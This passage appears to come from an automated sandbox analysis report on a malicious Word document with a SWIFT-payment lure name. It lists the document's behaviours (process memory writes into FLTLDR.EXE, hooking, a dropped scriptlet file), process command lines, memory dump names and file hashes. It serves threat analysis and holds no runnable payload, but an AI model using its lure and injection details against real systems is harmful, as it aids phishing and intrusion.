| File opened for modification | C:\Users\Admin\AppData\Local\Temp\{53FA5B1A-E93A-43F8-9548-FF2E2F23C1D8}\abdtfhghgdghgh.ScT:Zone.Identifier | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4436 wrote to memory of 2856 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE |
| PID 4436 wrote to memory of 2856 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc" /o ""
C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE" C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT
Network
Files
memory/4436-114-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/4436-115-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/4436-116-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/4436-117-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/4436-119-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/4436-118-0x00007FF9D5EC0000-0x00007FF9D89E3000-memory.dmp
memory/4436-122-0x00007FF9D0AC0000-0x00007FF9D1BAE000-memory.dmp
memory/4436-123-0x00007FF9CD9E0000-0x00007FF9CF8D5000-memory.dmp
memory/2856-341-0x0000000000000000-mapping.dmp
memory/2856-355-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/2856-358-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/2856-363-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
memory/2856-365-0x00007FF9B4570000-0x00007FF9B4580000-memory.dmp
C:\Users\Admin\AppData\Local\Packages\oice_16_974fa576_32c1d314_7f5\AC\Temp\FL4646.tmp
| MD5 | 233a02a30f089cc84ff776ff796c08db |
| SHA1 | 906c5231c954abb33bba3bc200a5a9a3222a3356 |
| SHA256 | 4c73cd20402c324612435e2577ea6582201a9fed5a96983f9093ca9ad68fa0df |
| SHA512 | d273fb560957b26d3adb08797452d6ee9108732ebde59144b9ec1c8c200caa8af29e332286bc41a40f43fefd85c9206ad3a899f5aa028276da0994bba8d04857 |